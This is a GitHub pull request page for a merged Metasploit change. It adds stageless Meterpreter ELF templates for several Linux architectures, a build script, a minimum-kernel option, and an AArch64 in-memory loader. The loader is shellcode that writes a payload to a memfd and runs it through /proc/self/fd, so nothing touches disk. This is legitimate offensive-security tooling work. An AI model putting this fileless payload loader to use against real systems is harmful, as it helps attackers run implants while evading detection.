Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
71 commits
Select commit Hold shift + click to select a range
b9adfb7
fix: removing unnecessary elf parsing in linux/x86/meterpreter
dledda-r7 Jan 10, 2025
14f6245
feat(payload): linux/x86 in_memory_loader for stageless meterpreter
dledda-r7 Jan 13, 2025
750bbdf
feat(payload): linux/x86 in_memory_loader itoa improvement
dledda-r7 Jan 14, 2025
a5bae33
feat(payload): linux/x64 in_memory_loader for stageless meterpreter
dledda-r7 Jan 14, 2025
bc28e3a
Shellcode for memfd_create for ARM
msutovsky-r7 Jan 15, 2025
c9cd783
Armbe draft and ARM64 functional payload for memfd_create
msutovsky-r7 Jan 16, 2025
4c8e428
Adding itoa for ARMle stageless payload
msutovsky-r7 Jan 17, 2025
afba87e
Adding itoa function for ARM64 and ARMbe
msutovsky-r7 Jan 17, 2025
fd0427e
Adding itoa function for ARM64 and ARMbe
msutovsky-r7 Jan 17, 2025
dba8ddb
feat(payload): linux/mipsel in_memory_loader for stageless meterpreter
dledda-r7 Jan 23, 2025
afb93ec
feat(payload): linux/mips in_memory_loader for stageless meterpreter
dledda-r7 Jan 23, 2025
38cd623
fix: move meterpreter_loader into separate mixin
dledda-r7 Feb 10, 2025
6d750fe
fix: move x64 meterpreter_loader into separate mixin
dledda-r7 Feb 10, 2025
71d2eb2
fix: move mipsbe and mipsle meterpreter_loader into separate mixin
dledda-r7 Feb 10, 2025
764c0c4
PPC64le init
msutovsky-r7 Jan 24, 2025
0c2b25e
PPC64 shellcode added, adding PPC initial work
msutovsky-r7 Jan 27, 2025
ca9706b
PPC progress
msutovsky-r7 Jan 30, 2025
861e1b7
PowerPC stageless payload
msutovsky-r7 Feb 3, 2025
3f2be78
feat: add mips64 elf template and meterpreter_loader
dledda-r7 Feb 12, 2025
c4cc47c
fix: fix exe after merge issue
dledda-r7 Feb 12, 2025
7c77a9c
ARMBe and Zarch stageless payload
msutovsky-r7 Feb 13, 2025
679ebb0
Code refactor, loader delivery update
msutovsky-r7 Feb 13, 2025
978a2c2
fix: improved x86 and x64 shellcodes
dledda-r7 Feb 14, 2025
0cc080f
fix: updated mettle payload generation and cached_size
dledda-r7 Feb 14, 2025
753b803
fix: updated mettle payload generation and cached_size
dledda-r7 Feb 14, 2025
16437e7
Fixed missing payload length for AARCH64
msutovsky-r7 Mar 17, 2025
9c2ea9c
Rubocoping AARCH64 payload modules
msutovsky-r7 Mar 20, 2025
85091a4
Aarch64 comments
msutovsky-r7 Apr 16, 2025
eb68c8d
Add armbe/armle comments
msutovsky-r7 Apr 16, 2025
3a22eae
feat: add elf-legacy option for systems unsupported by in_memory_loader
dledda-r7 Apr 17, 2025
768331d
Adding comments for PPC
msutovsky-r7 Apr 17, 2025
0b0ab91
Add build script
msutovsky-r7 Apr 17, 2025
34aeb6f
Uses execveat syscall to make loader stub smaller
msutovsky-r7 Apr 30, 2025
351db91
Adds execveat for MIPS64, PPC64 and Zarch
msutovsky-r7 May 1, 2025
494aeb8
Updates cached_sizes and rubocop
msutovsky-r7 May 12, 2025
d93c9af
Adds comments for ARM, Mips and PPC
msutovsky-r7 May 19, 2025
98e974d
Adds comments for zarch
msutovsky-r7 May 19, 2025
cd0645b
fix: changing MeterpreterLegacyElf to MeterpreterLinuxMinKernel
dledda-r7 May 30, 2025
75765fb
fix: including prepends mixin on linux stageless meterpreter
dledda-r7 May 30, 2025
0fd1bd8
fix: updating MeterpreterLinuxMinKernel default value, displaying war…
dledda-r7 May 30, 2025
f7caa72
fix: align assembly comments, add single build instructions
dledda-r7 Jun 2, 2025
58a3262
chore: linting meterpreter_loader and prepends
dledda-r7 Jun 2, 2025
f391e1d
Adds convetion for each architecture
msutovsky-r7 Jun 10, 2025
f29d7ae
Fixed comments
msutovsky-r7 Jun 11, 2025
187a7d3
fix: changes based on review comments
dledda-r7 Jun 11, 2025
34318f8
Fixing mipsbe loader stub
msutovsky-r7 Jun 17, 2025
9e830c2
fix: update cached size
dledda-r7 Sep 23, 2025
2967826
fix: update cached size
dledda-r7 Sep 23, 2025
3886401
fix: update cached size
dledda-r7 Sep 23, 2025
c024982
chore: remove white-space
dledda-r7 Sep 23, 2025
d157779
Update lib/msf/core/payload/linux/mipsbe/prepends.rb
dledda-r7 Sep 25, 2025
cab1337
fix: update util/exe.rb to support new linux templates, code refactoring
dledda-r7 Sep 25, 2025
43669bb
Update modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
dledda-r7 Sep 25, 2025
5d8d801
Update modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
dledda-r7 Sep 25, 2025
540f16b
Update modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
dledda-r7 Sep 25, 2025
d5fb4a9
fix: minor fix linux elf templates
dledda-r7 Sep 25, 2025
d2a2d1e
fix: removed + character in PayloadLinuxMinKernel
dledda-r7 Sep 25, 2025
17776b6
fix: fix linux prepends, uniform ppc prepends
dledda-r7 Sep 25, 2025
ad44f7c
Rolling back arm/arm64 to exec syscall
msutovsky-r7 Oct 31, 2025
70ad726
Rolling back ppc/ppc64/ppce500v2 to exec syscall
msutovsky-r7 Oct 31, 2025
8ab2f44
Rolling back zarch to exec syscall
msutovsky-r7 Oct 31, 2025
91bb23f
Update lib/msf/core/payload/linux/aarch64/elf_loader.rb
dledda-r7 Nov 11, 2025
ed87ffe
fix: rollback itoa and execve instead of execveat
dledda-r7 Nov 18, 2025
a4cb822
Update lib/msf/core/payload/linux/aarch64/elf_loader.rb
dledda-r7 Dec 16, 2025
6d4cefd
fix: fix erb for mettle payload generation
dledda-r7 Dec 16, 2025
892ef86
fix: remove in_memoryloader for ppc, ppc64le, ppce500v2 and armbe fro…
dledda-r7 Dec 16, 2025
b3b7e5f
rebase: post-rebase
dledda-r7 Dec 17, 2025
eaead1d
fix: remove zarch inmemory_loader from stageless meterpreter
dledda-r7 Dec 17, 2025
beddb75
fix: fix correct zarch value for meterpreter_reverse.erb
dledda-r7 Dec 17, 2025
b42fc2e
fix: remove armbe, ppc, ppc64le, ppce500v2 and zarch elf_loaders
dledda-r7 Dec 19, 2025
79e2b84
fix: fixing meterpreter template for zarch, removing prepends
dledda-r7 Jan 6, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions data/templates/src/elf/exe/build.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
#!/bin/sh

dst_folder="../../../"
for file in $(find ./ -name "*.s")
do
arch=`echo $file | cut -d "_" -f2`;
nasm -f bin $file -o $dst_folder"template_"$arch"_linux.bin"
done
1 change: 0 additions & 1 deletion data/templates/src/elf/exe/elf_aarch64_template.s
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
; build with:
; nasm elf_aarch64_template.s -f bin -o template_aarch64_linux.bin


BITS 64
org 0x400000
ehdr: ; Elf32_Ehdr
Expand Down
37 changes: 37 additions & 0 deletions data/templates/src/elf/exe/elf_armbe_template.s
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
; build with:
; nasm elf_armbe_template.s -f bin -o template_armbe_linux.bin

BITS 32
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 2, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 0x0200 ; e_type = ET_EXEC for an executable
dw 0x2800 ; e_machine = ARM
dd 0x01000000 ; e_version
dd 0x54800000 ; e_entry
dd 0x34000000 ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw 0x3400 ; e_ehsize
dw 0x2000 ; e_phentsize
dw 0x0100 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx

ehdrsize equ $ - ehdr

phdr: ; Elf32_Phdr

dd 0x01000000 ; p_type = pt_load
dd 0 ; p_offset
dd 0x00800000 ; p_vaddr
dd 0x00800000 ; p_paddr
dd 0xefbeadde ; p_filesz
dd 0xefbeadde ; p_memsz
dd 0x07000000 ; p_flags = rwx
dd 0x00100000 ; p_align

phdrsize equ $ - phdr

_start:
55 changes: 55 additions & 0 deletions data/templates/src/elf/exe/elf_mips64_template.s
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
; build with:
; nasm elf_mips64_template.s -f bin -o template_mips64_linux.bin

%define WORD_BE(value) (((value & 0xFF) << 8) | ((value >> 8) & 0xFF))
%define DWORD_BE(dword) (((dword & 0xFF) << 24) | \
((dword & 0xFF00) << 8) | \
((dword >> 8) & 0xFF00) | \
((dword >> 24) & 0xFF))
%define QWORD_BE(qword) ( \
((qword & 0x00000000000000FF) << 56) | \
((qword & 0x000000000000FF00) << 40) | \
((qword & 0x0000000000FF0000) << 24) | \
((qword & 0x00000000FF000000) << 8) | \
((qword >> 8) & 0x000000FF00000000) | \
((qword >> 24) & 0x0000FF0000000000) | \
((qword >> 40) & 0x00FF000000000000) | \
((qword >> 56) & 0xFF00000000000000) )

BITS 64

org 0x400000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 2, 2, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw WORD_BE(2) ; e_type = ET_EXEC for an executable
dw WORD_BE(0x08) ; e_machine = MIPS
dd 0 ; e_version
dq QWORD_BE(0x400078) ; e_entry
dq QWORD_BE(0x40) ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw WORD_BE(0x40) ; e_ehsize
dw WORD_BE(0x38) ; e_phentsize
dw WORD_BE(0x1) ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx

ehdrsize equ $ - ehdr

phdr: ; Elf32_Phdr
dd DWORD_BE(1) ; p_type = PT_LOAD
dd DWORD_BE(7) ; p_flags = rwx
dq 0 ; p_offset
dq QWORD_BE(0x400000) ; p_vaddr
dq QWORD_BE(0x400000) ; p_paddr
dq QWORD_BE(0xA00000) ; p_filesz
dq QWORD_BE(0xA00000) ; p_memsz
dq QWORD_BE(0x1000) ; p_align

phdrsize equ $ - phdr

global _start

_start:
40 changes: 40 additions & 0 deletions data/templates/src/elf/exe/elf_ppc64le_template.s
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
; build with:
; nasm elf_ppc64le_template.s -f bin -o template_ppc64le_linux.bin

BITS 64

org 0x400000

ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 0x15 ; e_machine = PPC64
dd 0 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx

ehdrsize equ $ - ehdr

phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 7 ; p_flags = rwx
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq 0xDEADBEEF ; p_filesz
dq 0xDEADBEEF ; p_memsz
dq 0x1000 ; p_align

phdrsize equ $ - phdr

_start:
dq _start+0x8
37 changes: 37 additions & 0 deletions data/templates/src/elf/exe/elf_ppc_template.s
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
; build with:
; nasm elf_ppc_template.s -f bin -o template_ppc_linux.bin

BITS 32
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 2, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 0x0200 ; e_type = ET_EXEC for an executable
dw 0x1400 ; e_machine = PPC
dd 0x01000000 ; e_version
dd 0x54100000 ; e_entry
dd 0x34000000 ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw 0x3400 ; e_ehsize
dw 0x2000 ; e_phentsize
dw 0x0100 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx

ehdrsize equ $ - ehdr

phdr: ; Elf32_Phdr

dd 0x01000000 ; p_type = pt_load
dd 0 ; p_offset
dd 0x00100000 ; p_vaddr
dd 0x00100000 ; p_paddr
dd 0xefbeadde ; p_filesz
dd 0xefbeadde ; p_memsz
dd 0x07000000 ; p_flags = rwx
dd 0x00000100 ; p_align

phdrsize equ $ - phdr

_start:
37 changes: 37 additions & 0 deletions data/templates/src/elf/exe/elf_ppce500v2_template.s
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
; build with:
; nasm elf_ppce500v2_template.s -f bin -o template_ppce500v2_linux.bin

BITS 32
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 2, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 0x0200 ; e_type = ET_EXEC for an executable
dw 0x1400 ; e_machine = PPC
dd 0x01000000 ; e_version
dd 0x54100000 ; e_entry
dd 0x34000000 ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw 0x3400 ; e_ehsize
dw 0x2000 ; e_phentsize
dw 0x0100 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx

ehdrsize equ $ - ehdr

phdr: ; Elf32_Phdr

dd 0x01000000 ; p_type = pt_load
dd 0 ; p_offset
dd 0x00100000 ; p_vaddr
dd 0x00100000 ; p_paddr
dd 0xefbeadde ; p_filesz
dd 0xefbeadde ; p_memsz
dd 0x07000000 ; p_flags = rwx
dd 0x00000100 ; p_align

phdrsize equ $ - phdr

_start:
34 changes: 34 additions & 0 deletions data/templates/src/elf/exe/elf_zarch_template.s
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
; build with:
; nasm elf_zarch_template.s -f bin -o template_zarch_linux.bin

BITS 64


ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 2, 2, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 0x0200 ; e_type = ET_EXEC for an executable
dw 0x1600 ; e_machine = ZARCH
dd 0x01000000 ; e_version
dq 0x7810000000000000 ; e_entry
dq 0x4000000000000000 ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw 0x4000 ; e_ehsize
dw 0x3800 ; e_phentsize
dw 0x0100 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx

phdr: ; Elf32_Phdr
dd 0x01000000 ; p_type = PT_LOAD
dd 0x07000000 ; p_flags = rwx
dq 0 ; p_offset
dq 0x0010000000000000 ; p_vaddr
dq 0x0010000000000000 ; p_paddr
dq 0xDEADBEEF ; p_filesz
dq 0xDEADBEEF ; p_memsz
dq 0x0000100000000000 ; p_align

_start:
Binary file added data/templates/template_armbe_linux.bin
Binary file not shown.
Binary file added data/templates/template_mips64_linux.bin
Binary file not shown.
Binary file added data/templates/template_ppc64le_linux.bin
Binary file not shown.
Binary file added data/templates/template_ppc_linux.bin
Binary file not shown.
Binary file added data/templates/template_ppce500v2_linux.bin
Binary file not shown.
Binary file added data/templates/template_zarch_linux.bin
Binary file not shown.
20 changes: 14 additions & 6 deletions lib/msf/base/sessions/mettle_config.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,6 @@
module Msf
module Sessions
module MettleConfig

include Msf::Payload::TransportConfig

def initialize(info = {})
Expand All @@ -18,12 +17,22 @@ def initialize(info = {})
'MeterpreterTryToFork',
'Fork a new process if the functionality is available',
default: false
)
),
]
)
unless staged?
register_advanced_options(
[
OptEnum.new(
'PayloadLinuxMinKernel',
[true, 'Linux minimum kernel version for compatibility', '2.6', ['2.6', '3.17']]
)
]
)
end
end

def generate_uri(opts={})
def generate_uri(opts = {})
ds = opts[:datastore] || datastore
uri_req_len = ds['StagerURILength'].to_i

Expand All @@ -33,7 +42,7 @@ def generate_uri(opts={})
end

if uri_req_len < 5
raise ArgumentError, "Minimum StagerURILength is 5"
raise ArgumentError, 'Minimum StagerURILength is 5'
end

generate_uri_uuid_mode(:init_connect, uri_req_len, uuid: opts[:uuid])
Expand Down Expand Up @@ -76,7 +85,7 @@ def generate_tcp_uri(opts)
target_uri
end

def generate_config(opts={})
def generate_config(opts = {})
ds = opts[:datastore] || datastore

opts[:background] = ds['MeterpreterTryToFork'] ? 1 : 0
Expand Down Expand Up @@ -117,7 +126,6 @@ def encode_stage?

false
end

end
end
end
66 changes: 66 additions & 0 deletions lib/msf/core/payload/linux/aarch64/elf_loader.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
#
# In memory loader used to execute Mettle ELF file.
# Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced)
# Author: Martin Sutovsky <martin_sutovsky[at]rapid7.com>
# Resource and Credits: https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
# ARM64 conventions
# Parameters: x0-x7
# Syscall offset: x8
# Return Address for BL: x30
#
module Msf::Payload::Linux::Aarch64::ElfLoader
def in_memory_load(payload)
# the exec syscall can be substituted with execveat syscall, which takes out the need for itoa, however, it proved to be not stable across various IoT-specific kernel versions
in_memory_loader = [
# memfd_create(null, MFD_CLOEXEC);
0x0a0080d2, # 0x1000: mov x10, #0 0x0a0080d2
0xea0300f9, # 0x1004: str x10, [sp] 0xea0300f9
0xe0030091, # 0x1008: mov x0, sp 0xe0030091
0x210080d2, # 0x100c: mov x1, #1 0x210080d2
0xe82280d2, # 0x1010: mov x8, #0x117 0xe82280d2
0x010000d4, # 0x1014: svc #0 0x010000d4

# use branching and branching with link to reliably get address of payload data
0xe90300aa, # 0x1018: mov x9, x0 0xe90300aa
0x1f000014, # 0x101c: b #0x1098 0x1f000014
0xea031eaa, # 0x1020: mov x10, x30 0xea031eaa

# write(fd,payload_addr, payload_size)
0x420140b9, # 0x1024: ldr w2, [x10] 0x420140b9
0x4a890091, # 0x1028: add x10, x10, #0x22 0x4a890091
0xe1030aaa, # 0x102c: mov x1, x10 0xe1030aaa
0x080880d2, # 0x1030: mov x8, #0x40 0x080880d2
0x010000d4, # 0x1034: svc #0 0x010000d4

# convert fd using itoa and append it to /proc/self/fd/
0x4b0180d2, # 0x1038: mov x11, #0xa 0x4b0180d2
0x4a0900d1, # 0x103c: sub x10, x10, #2 0x4a0900d1
0x2c09cb9a, # 0x1040: udiv x12, x9, x11 0x2c09cb9a
0x8d7d0b9b, # 0x1044: mul x13, x12, x11 0x8d7d0b9b
0x2d010dcb, # 0x1048: sub x13, x9, x13 0x2d010dcb
0xe9030caa, # 0x104c: mov x9, x12 0xe9030caa
0xadc10091, # 0x1050: add x13, x13, #0x30 0xadc10091
0x4d010039, # 0x1054: strb w13, [x10] 0x4d010039
0x4a0500d1, # 0x1058: sub x10, x10, #1 0x4a0500d1
0x3f0100f1, # 0x105c: cmp x9, #0 0x3f0100f1
0x01ffff54, # 0x1060: b.ne #0x1040 0x01ffff54
0xe90580d2, # 0x1064: mov x9, #0x2f 0xe90580d2
0x4b014039, # 0x1068: ldrb w11, [x10] 0x4b014039
0x7f0109eb, # 0x106c: cmp x11, x9 0x7f0109eb
0x80000054, # 0x1070: b.eq #0x1080 0x80000054
0x49010039, # 0x1074: strb w9, [x10] 0x49010039
0x4a0500d1, # 0x1078: sub x10, x10, #1 0x4a0500d1
0xfaffff17, # 0x107c: b #0x1064 0xfaffff17
0x4a3500d1, # 0x1080: sub x10, x10, #0xd 0x4a3500d1
# execve(/proc/self/fd/[fd],0,0)
0xe0030aaa, # 0x1084: mov x0, x10 0xe0030aaa
0x010080d2, # 0x1088: mov x1, #0 0x010080d2
0x020080d2, # 0x108c: mov x2, #0 0x020080d2
0xa81b80d2, # 0x1090: mov x8, #0xdd 0xa81b80d2
0x010000d4, # 0x1094: svc #0 0x010000d4
0xe2ffff97, # 0x1098: bl #0x1020 0xe2ffff97,
].pack('N*')
fd_path = '/proc/self/fd/'.bytes.pack('c*') + "\x00" * 16
in_memory_loader + [payload.length].pack('V*') + fd_path
end
end
Loading
Loading